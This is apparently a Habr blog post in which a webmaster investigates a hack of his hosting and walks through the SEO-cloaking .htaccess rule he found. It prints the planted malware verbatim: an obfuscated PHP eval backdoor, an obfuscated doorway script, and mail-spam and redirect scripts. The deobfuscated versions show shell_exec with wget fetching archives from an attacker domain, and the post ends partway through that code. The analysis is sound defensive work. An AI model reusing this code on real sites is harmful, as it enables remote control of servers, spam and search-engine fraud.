Pull to refresh

Всем привет, я вебмастер и меня взломали

Reading time 17 min
Views 33K


Доброго времени суток Хабр,

Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.

Как всё выяснилось


О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.

Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.


Разбираемся в произошедшем


Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.</p>
<p>Additionally, a 500 Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at *******.** Port 80</address>
</body></html>

Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:

RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]


Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.

Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:


Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.

Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.

Разбор полёта червя


Итак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:

kfcgmxuu.php - 3 апреля 2016
<?php
$catie ='v]falreE'; $greatly= 'eae';$formulation = '(';

$centralization = 'sSLuVSQ_V'; $gummy = 'a';$barrages = ')';$lawyer= ';]s]L'; $craw = '_'; $maisey ='yV]tdiVv'; $juliann='T'; $bridges= 'R';
$betoken= '$';$atheists='R';$eustacia = '^'; $bunting = 'HaSI';$hurleigh ='Rc';$lovingly =')n"th';

$cups = 'et'; $javelin= 'i';$lizard= '('; $chances = '=ej_i'; $leghorn= 'fVRcpr'; $finalized= '(';
$expounded=')V'; $bounties='Y';

$bushwhack = 'c';$big= 's6t';$dragging ='('; $appeasable='r'; $frequencies = 'a';
$dolphins ='v_sie"';
$dressers='s$VET';
$heaved='[';$frederique= 'r'; $kettle= 'T'; $fortress ='nU'; $letting ='l';$entrusted='p$i)tE[[e';
$ketti='i'; $coarsest = 'S'; $ashely ='_oZC'; $avrom ='E'; $knower='Te)E:`';$bayonets = 'a)l($ibi';$keying = 'K';$availing =';';$karmen=':T';$ingredient= '[g'; $coincides = '_'; $eyesight= 'v)re';

$iterates ='r[)_c(E';
$dissident='lvek';
$discernibility ='m'; $inclination ='(vrs;_,gS';$characterizes ='e'; $contented= 'r'; $lorrayne= '?'; $archived='g';

$bellowing =';'; $deferrer= '=v(a$,e'; $indiana='fta';$krisiun= '$a$WbqUT'; $gardens= '$i"i_i)';
$evidenced = 'srH';$fruitfulness='"';$f='P'; $bylaw ='ad"v4_ve_';$coriss= '(ElspQ';
$cots= 'esImrvq';$lizard ='a';

$conceived ='y';$arabs=']eOX';$excretion='tu"u';$harmoniously ='r';$figured= ') ';$basful= 'vP(_'; $dapper ='o'; $asks = 'ocnes"';$indira ='t'; $jim ='?';

$coweringly = '$';$incompetent = 'o'; $bitternut = 'gr';$codes = 'd';$grasp='qnOe"$se';
$arachnids = 'VI)i(Q';$elucidate ='dQa'; $husband = $asks['1'] .$bitternut['1'] .$grasp['7'] . $elucidate['2'].$indira.$grasp['7'].$basful['3'] . $indiana[0].$excretion['3'] . $grasp[1] . $asks['1']. $indira. $arachnids['3'].$incompetent.

$grasp[1];
$iggy= $figured['1']; $aspirins= $husband($iggy, $grasp['7'] . $basful['0'] .$elucidate['2']. $coriss['2'].
$arachnids['4'].
$elucidate['2'] .$bitternut['1'] .$bitternut['1'] .
$elucidate['2'] .$conceived. $basful['3'] . $coriss['4'] .$incompetent.$coriss['4'] .$arachnids['4']. $indiana[0]. $excretion['3'].$grasp[1].$asks['1'].$basful['3'] .$bitternut[0] . $grasp['7'].$indira .$basful['3'] .

$elucidate['2'] . $bitternut['1']. $bitternut[0] . $grasp['6'] .$arachnids['4']. $arachnids['2'] .$arachnids['2'] .$arachnids['2']. $bellowing);

$aspirins

($indecomposable['1'],$bylaw['4'] ,
$arachnids['2'],$basful['1'],

$karmen['0'] ,

$big[1],$evidenced['2'], $coriss['4'] ,$arachnids['2'] ,$grasp['5'].

$arachnids['3'].$deferrer['0'] .
$elucidate['2'] .$bitternut['1'].$bitternut['1'].$elucidate['2'].
$conceived .$basful['3'].

$cots['3'] .$grasp['7'].$bitternut['1'] . $bitternut[0] .

$grasp['7'] . $arachnids['4'] .$grasp['5']. $basful['3'].$leghorn['2'] .$coriss['1'] .
$elucidate['1']. $krisiun['6'] . $coriss['1'] .$inclination['8'] .$krisiun['7'] .$deferrer['5'] . $grasp['5'] . $basful['3'] .$ashely['3'].$grasp['2'] . $grasp['2'].
$keying.$arachnids[1] . $coriss['1']. $deferrer['5'] . $grasp['5']. $basful['3']. $inclination['8']. $coriss['1'] . $leghorn['2'].$arachnids['0'].$coriss['1']. $leghorn['2'] .$arachnids['2'].
$bellowing . $grasp['5'].$elucidate['2'] .
$deferrer['0']. $arachnids['3'] .
$grasp['6'] .

$grasp['6'] .
$grasp['7'] .$indira .$arachnids['4'] .

$grasp['5'].$arachnids['3']. $iterates[1] .$grasp['4'].

$grasp['7'].$coriss['2'].

$basful['0']. $arachnids['3'].$basful['0'] . $grasp['6'] . $basful['0']. $grasp['0']. $grasp['4'].
$arabs[0] . $arachnids['2'].$jim .$grasp['5']. $arachnids['3'] .$iterates[1]. $grasp['4'] .

$grasp['7'] . $coriss['2'].$basful['0'] .$arachnids['3'].$basful['0'].

$grasp['6'].

$basful['0'] . $grasp['0'] .

$grasp['4']. $arabs[0] . $karmen['0'] .$arachnids['4'].
$arachnids['3'] . $grasp['6'] .$grasp['6'] .$grasp['7'].$indira. $arachnids['4'] . $grasp['5'] .

$arachnids['3'].$iterates[1].

$grasp['4'] . $evidenced['2']. $krisiun['7'] .

$krisiun['7'] . $basful['1'].

$basful['3'].$coriss['1'] .
$lawyer['4'] . $arachnids['0'].$arachnids[1]. $arachnids['0'] .$inclination['8'] . $arachnids['0'] . $elucidate['1']. $grasp['4'] .

$arabs[0] .$arachnids['2'].
$jim. $grasp['5'] . $arachnids['3']. $iterates[1].$grasp['4'] . $evidenced['2'].$krisiun['7'] .$krisiun['7'].$basful['1'] . $basful['3'] .
$coriss['1'].$lawyer['4'] . $arachnids['0'].

$arachnids[1] .$arachnids['0']. $inclination['8'] .$arachnids['0'] .$elucidate['1'].$grasp['4'] .$arabs[0]. $karmen['0'] .$elucidate['0'] .

$arachnids['3']. $grasp['7'] .$arachnids['2'] . $bellowing.
$grasp['7'] . $basful['0'] .$elucidate['2'] . $coriss['2']. $arachnids['4'].
$grasp['6']. $indira. $bitternut['1'] . $bitternut['1']. $grasp['7'] .

$basful['0']. $arachnids['4'] . $krisiun['4'] .$elucidate['2'] .
$grasp['6'] . $grasp['7']. $big[1].$bylaw['4'] .$basful['3'].
$elucidate['0'] . $grasp['7']. $asks['1']. $incompetent .

$elucidate['0'] . $grasp['7'].

$arachnids['4'] .$grasp['6'].
$indira.

$bitternut['1'] .
$bitternut['1'] . $grasp['7'].$basful['0'].$arachnids['4']. $grasp['5'].$elucidate['2']. $arachnids['2'] .$arachnids['2'].$arachnids['2'] . $arachnids['2'].$bellowing );

.htaccess - 5 апреля 2016
RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

bootlegger-limiter.php - 5 апреля 2016
<?php $mlksyl="\x63".chr(114)."e".chr(97).chr(116).chr(101)."_"."f".chr(117)."\x6e"."\x63".chr(116)."\x69"."\x6f"."\x6e";$ofanpm = $mlksyl('$a',strrev(';)a$(lave')); $ofanpm(strrev(';))"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"(edoced_46esab(lave'));?>

enthusiasms-raw.php - 9 октября 2016
<?php

function base64_url_decode($val) {

    return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>

<html><head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]](r);">

Loading...

</body></html>

<?php } ?>

equaling-intangibles.php - 9 октября 2016
<?php

function base64_url_decode($val) {

    return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>

<html><head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]](r);">

Loading...

</body></html>

<?php } ?>

Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.

Самым первым появился kfcgmxuu.php, вот что он делает.

$i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
eval(strrev(base64_decode(strrev($a)));

На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.

Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:

Показать код
<?php

set_time_limit(0);

function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

$doorcontent = "";
$x = @$_POST["pppp_check"];
$md5pass = "e5e4570182820af0a183ce1520afe43b";

$host = @$_SERVER["HTTP_HOST"];
$uri = @$_SERVER["REQUEST_URI"];
$host = str_replace("www.", "", $host);
$md5host = md5($host);
$urx = $host . $uri;
$md5urx = md5($urx);

if (function_exists('sys_get_temp_dir')) {
    $tmppath = sys_get_temp_dir();
    if (!is_dir($tmppath)) {
        $tmppath = (dirname(__FILE__));
    }
} else {
    $tmppath = (dirname(__FILE__));
}

$cdir = $tmppath . "/." . $md5host . "/";
$domain = "f.gghijacktest.com";

if ($x != "") {
    $p = md5(base64_decode(@$_POST["p"]));
    if ($p != $md5pass)
        return;
    $pa = @$_POST["pa"];

    if (($x == "2") || ($x == "4")) {
        echo "###UPDATING_FILES###\n";
        if ($x == "2") {
            $cmd = "cd $tmppath; rm -rf .$md5host";
            echo shell_exec($cmd);
        }
        $cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
        if ($pa != "") {
            $pa+=0;
            $cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
        }
        echo shell_exec($cmd);
        exit;
    }
    if ($x == "3") {
        echo "###WORKED###\n";
        exit;
    }
} else {
    $curx = $cdir . $md5urx;
    if (@file_exists($curx)) {
        @list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));
        $doorcontent = @base64_decode($doorcontent);

        $bot = 0;
        $se = 0;
        $mobile = 0;
        if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"]))
            $bot = 1;
        if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"]))
            $mobile = 1;
        if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"]))
            $se = 1;
        if ($bot) {
            $pdf+=0;
            if ($pdf == 1) {
                header("Content-Type: application/pdf");
            }
            if ($pdf == 2) {
                header("Content-Type: image/png");
            }
            if ($pdf == 3) {
                header("Content-Type: text/xml");
            }
            if ($pdf == 4) {
                $contenttype = @base64_decode($contenttype);
                $types = explode("\n", $contenttype);
                foreach ($types as $val) {
                    $val = trim($val);
                    if ($val != "")
                        header($val);
                }
            }
            echo $doorcontent;
            exit;
        }
        if ($se) {
            echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&mk=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);
            exit;
        }

        header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
        echo '<html><head>' . "\n";
        echo '<title>404 Not Found</title>' . "\n";
        echo '</head><body>' . "\n";
        echo '<h1>Not Found</h1>' . "\n";
        echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
        echo '<hr>' . "\n";
        echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
        echo '</body></html>';
        exit;
    } else {


        $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $buf = get_page_by_curl($crurl);

        $curx = $cdir . "fff.sess";
        if (@file_exists($curx)) {
            $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
            $c = @count($links) - 1;
            shuffle($links);
            if ($c > 20)
                $c = 20;
